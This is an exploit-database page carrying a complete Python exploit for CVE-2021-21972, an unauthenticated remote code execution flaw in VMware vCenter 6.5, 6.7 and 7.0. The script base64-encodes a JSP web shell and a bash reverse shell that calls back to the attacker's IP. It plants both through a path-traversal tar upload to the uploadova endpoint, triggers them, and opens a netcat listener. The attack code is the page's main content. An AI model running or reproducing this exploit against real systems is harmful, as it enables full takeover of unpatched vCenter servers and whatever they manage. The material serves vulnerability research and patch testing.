VMware vCenter 6.5 / 6.7 / 7.0 Remote Code Execution

2021.06.25
Credit: CHackA0101
Risk: High
Local: No
Remote: Yes
CWE: CWE-269


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: VMware vCenter Server RCE 6.5 / 6.7 / 7.0 - Remote Code Execution (RCE) (Unauthenticated) # Date: 06/21/2021 # Exploit Author: CHackA0101 # Vendor Homepage: https://kb.vmware.com/s/article/82374 # Software Link: https://www.vmware.com/products/vcenter-server.html # Version: This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2). # Tested on: VMware vCenter version 6.5 (OS: Linux 4.4.182-1.ph1 SMP UTC 2019 x86_64 GNU/Linux) # CVE: 2021-21972 # More Info: https://github.com/chacka0101/exploits/blob/master/CVE-2021-21972/README.md #!/usr/bin/python2 import os import urllib3 import argparse import sys import requests import base64 import tarfile import threading import time urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) myargs=argparse.ArgumentParser() myargs.add_argument('-T','--target',help='The IP address of the target',required=True) myargs.add_argument('-L','--local',help='Your local IP',required=True) args=myargs.parse_args() def getprompt(x): print ("(CHackA0101-GNU/Linux)$ "+ str(x)) def getpath(path="/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/37/0/h5ngc.war/resources/shell4.jsp"): fullpath="../" * 7 + path return fullpath.replace('\\','/').replace('//','/') def createbackdoor(localip): # shell4.jsp backdoor = "PGZvcm0gbWV0aG9kPSJHRVQiIGFjdGlvbj0iIj4KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlYyEiIC8+CjwvZm9ybT4gPCUhCnB1YmxpYyBTdHJpbmcgZXNjKFN0cmluZyBzdHIpewoJU3RyaW5nQnVmZmVyIHNiID0gbmV3IFN0cmluZ0J1ZmZlcigpOwoJZm9yKGNoYXIgYyA6IHN0ci50b0NoYXJBcnJheSgpKQoJCWlmKCBjID49ICcwJyAmJiBjIDw9ICc5JyB8fCBjID49ICdBJyAmJiBjIDw9ICdaJyB8fCBjID49ICdhJyAmJiBjIDw9ICd6JyB8fCBjID09ICcgJyApCgkJCXNiLmFwcGVuZCggYyApOwoJCWVsc2UKCQkJc2IuYXBwZW5kKCImIyIrKGludCkoYyYweGZmKSsiOyIpOwoJcmV0dXJuIHNiLnRvU3RyaW5nKCk7Cn0gJT48JQpTdHJpbmcgY21kID0gcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwppZiAoIGNtZCAhPSBudWxsKSB7CglvdXQucHJpbnRsbigiPHByZT5Db21tYW5kIHdhczogPGI+Iitlc2MoY21kKSsiPC9iPlxuIik7CglqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbSBpbiA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCkuZ2V0SW5wdXRTdHJlYW0oKSk7CglTdHJpbmcgbGluZSA9IGluLnJlYWRMaW5lKCk7Cgl3aGlsZSggbGluZSAhPSBudWxsICl7CgkJb3V0LnByaW50bG4oZXNjKGxpbmUpKTsKCQlsaW5lID0gaW4ucmVhZExpbmUoKTsKCX0KCW91dC5wcmludGxuKCI8L3ByZT4iKTsKfSAlPg==" backdoor = base64.b64decode(backdoor).decode('utf-8') f = open("shell4.jsp","w") f.write(backdoor) f.close() # reverse.sh # After decoding overwrite string 'CUSTOM_IP' for local IP shell="IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC9DVVNUT01fSVAvNDQzIDA+JjE=" shell=base64.b64decode(shell).decode('utf-8') shell=shell.replace('CUSTOM_IP',localip) f=open("reverse.sh","w") f.write(shell) f.close() # Move on with the payload payload_file=tarfile.open('payload.tar','w') myroute=getpath() getprompt('Adding web backdoor to archive') payload_file.add("shell4.jsp", myroute) myroute=getpath("tmp/reverse.sh") getprompt('Adding bash backdoor to archive') payload_file.add("reverse.sh", myroute) payload_file.close() # cleaning up a little bit os.unlink("reverse.sh") os.unlink("shell4.jsp") getprompt('Backdoor file just was created.') def launchexploit(ip): res=requests.post('https://' + ip + '/ui/vropspluginui/rest/services/uploadova', files={'uploadFile':open('payload.tar', 'rb')}, verify=False, timeout=60) if res.status_code == 200 and res.text == 'SUCCESS': getprompt('Backdoor was uploaded successfully!') return True else: getprompt('Backdoor failed to be uploaded. Target denied access.') return False def testshell(ip): getprompt('Looking for shell...') shell_path="/ui/resources/shell4.jsp?cmd=uname+-a" res=requests.get('https://' + ip + shell_path, verify=False, timeout=60) if res.status_code==200: getprompt('Shell was found!.') response=res.text if True: getprompt('Shell is responsive.') try: response=re.findall("b>(.+)</",response)[0] print('$>uname -a') print(response) except: pass return True else: getprompt('Sorry. Shell was not found.') return False def opendoor(url): time.sleep(3) getprompt('Executing command.') requests.get(url, verify=False, timeout=1800) def executebackdoor(ip, localip): url="https://"+ip+"/ui/resources/shell4.jsp?cmd=bash%20/tmp/reverse.sh" t=threading.Thread(target=opendoor,args=(url,)) t.start() getprompt('Setting up socket '+localip+':443') os.system('nc -lnvp 443') if len(sys.argv)== 1: myargs.print_help(sys.stderr) sys.exit(1) createbackdoor(args.local) uploaded=launchexploit(args.target) if uploaded: tested=testshell(args.target) if tested: executebackdoor(args.target, args.local) getprompt("Execution completed!")


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top